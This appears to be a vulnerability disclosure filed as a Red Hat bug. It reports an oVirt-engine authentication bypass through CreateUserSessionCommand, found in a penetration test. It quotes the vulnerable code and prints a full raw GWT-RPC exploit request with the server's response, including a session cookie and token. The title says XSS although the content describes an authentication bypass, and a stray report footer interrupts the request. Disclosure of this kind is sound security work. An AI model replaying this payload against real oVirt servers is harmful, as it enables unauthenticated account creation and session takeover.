REDHAT-BUG-2258509: XSS

Hello ovirt comunity.

We had an internal pentest here and one finding is Ovirt-engine authentication bypass.

Ovirt-engine, as deployed on ovirtm.XXX.XXX.cz, contains an authentication bypass. It is possible to directly call the CreateUserSessionCommand using runAction exposed by /ovirt-engine/webadmin/GenericApiGWTService.

This action explicitly enables everyone to call it: @Override protected boolean isUserAuthorizedToRunAction() { return true; }

The behavior of this call differs based on the ENGINESSOENABLEEXTERNALSSO configuration option:

boolean externalSsoEnabled = EngineLocalConfig.getInstance().getBoolean("ENGINESSOENABLEEXTERNALSSO"); DbUser dbUser = externalSsoEnabled ? dbUserDao.getByUsernameAndDomain(params.getPrincipalName(), authzName) : dbUserDao.getByExternalId(authzName, params.getPrincipalId());

If this option is enabled, usernames are used to locate users. If it's disabled, the externalId (which seems to be a randomly generated GUID) is used to locate users. If the specified user exists, a session is returned for the user. If the specified user doesn't exist, the user is created in the system. However, the user doesn't get assigned any group membership or rights, therefore the session creation fails because of the missing Login right. The attempt to modify the users table can be seen in the SQL error message when attempting to use a null value for the username (as the endpoint uses GWT, the payload is mostly unreadable):

POST /ovirt-engine/webadmin/GenericApiGWTService HTTP/1.1 Host: ovirtm.xxx.xxx.cz

14

Final Report: Results of penetration testing (internal, external, Wi-Fi) 21 December 2023

Cookie: JSESSIONID=wsp3WAo63LZGHfpBstEt4lZ7zzZycpzIprNlT.ovirtm45; Content-Type: text/x-gwt-rpc; charset=utf-8 X-GWT-Module-Base: https://ovirtm.xxx.xx.cz/ovirt-engine/webadmin X-GWT-Permutation: D7ECB5EF5E29205D18271CC08183A28D Ovirt-Xsrf-Token: 4D87D03B631F8506FC668AA4C3FE3F443D723A9F379FDBB8B0D6DA0668650375 Content-Length: 869

7|0|23|https://ovirtm.xxx.xxx.cz/ovirt- engine/webadmin|0D1B4DEE9D1424E18C443F1CD1C11574|org.ovirt.engine.ui.frontend.gwtservices.GenericApiGWT

Service|runAction|org.ovirt.engine.core.common.action.ActionType/2930387551|org.ovirt.engine.core.commo n.action.ActionParametersBase/2903049429|org.ovirt.engine.core.common.action.CreateUserSessionParameter s/2744166832|appScope|email|firstName|java.util.ArrayList/4159755760|lastName|namespace|principalId|adm in|internal|sourceIp|ssoScope|ssoToken|org.ovirt.engine.core.common.action.ActionParametersBase$EndProc edure/1568822488|java.util.Collections$EmptyMap/4174664486|org.ovirt.engine.core.common.businessentitie s.VDSStatus/1938301532|org.ovirt.engine.core.compat.TransactionScopeOption/1475850853|1|2|3|4|2|5|6|5|2 01|7|0|8|9|10|11|0|12|13|14|0|16|17|18|19|0|5|0|0|0|0|20|1|0|11|0|0|0|0|0|0|21|0|- 4|22|0|1|0|1|23|2|0|0|0| HTTP/1.1 200 OK Date: Fri, 15 Dec 2023 09:42:35 GMT Server: Apache/2.4.37 (CentOS Stream) OpenSSL/1.1.1k modauthgssapi/1.6.1 Expires: Thu, 14 Dec 2023 09:42:35 GMT Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: locale=csCZ; path=/; secure; HttpOnly; Max-Age=2147483647; Expires=Wed, 02-Jan-2092 12:56:42 GMT X-XSS-PROTECTION: 1; MODE=BLOCK Pragma: no-cache X-FRAME-OPTIONS: SAMEORIGIN Content-Disposition: attachment X-CONTENT-TYPE-OPTIONS: NOSNIFF Content-Length: 1794 Content-Type: application/json;charset=utf-8 Correlation-Id: 664c1c1f-9a75-4e14-94d7-aba12c5442f5 Connection: close //OK[0,5,4,8,3,1,2,474,7,6,1,0,2,0,2,5,1,0,4,3,1,2,0,2,1,1,["org.ovirt.engine.core.common.action.Action ReturnValue/4163585948","java.util.ArrayList/4159755760","java.lang.String/2004016611","ENGINE","","org .ovirt.engine.core.common.errors.EngineFault/2377218566","org.ovirt.engine.core.common.errors.EngineErr or/2640515959","ERROR: null value in column \"username\" violates not-null constraint\n Detail: Failing row contains (6dad5e2f-7c95-4547-8f08-6936494c91b6, firstName, lastName, internal-authz, null, , email, , f, principalId, 2023-12-14 17:51:04.757747+01, 2023-12-15 10:42:35.125994+01, namespace, firstName@internal-authz).\n Where: SQL statement \"UPDATE users\n SET department \u003D vdepartment,\n domain \u003D vdomain,\n email \u003D vemail,\n name \u003D vname,\n note \u003D vnote,\n surname \u003D vsurname,\n username \u003D vusername,\n externalid \u003D vexternalid,\n namespace \u003D vnamespace,\n updatedate \u003D CURRENTTIMESTAMP\n WHERE externalid \u003D vexternalid\n AND domain \u003D vdomain\"\nPL/pgSQL function updateuserimpl(character varying,character varying,character varying,character varying,character varying,character varying,uuid,character varying,text,character varying) line 5 at SQL statement\nSQL statement \"SELECT UpdateUserImpl(\n vdepartment,\n vdomain,\n vemail,\n vname,\n vnote,\n vsurname,\n vuserid,\n vusername,\n vexternalid,\n vnamespace)\"\nPL/pgSQL function updateuser(character varying,character varying,character varying,character varying,character varying,character varying,uuid,character varying,boolean,text,character varying) line 3 at PERFORM"],0,7]

Fortunately, in our deplyoment the ENGINESSOENABLEEXTERNALSSO configuration was set to false, so to create a session for the admin it would be necessary to know the admin's user externalId. However, as this is not the default configuration, it is possible that a later reinstallation could change the value. Still, it was possible to create users in the system without any authentication.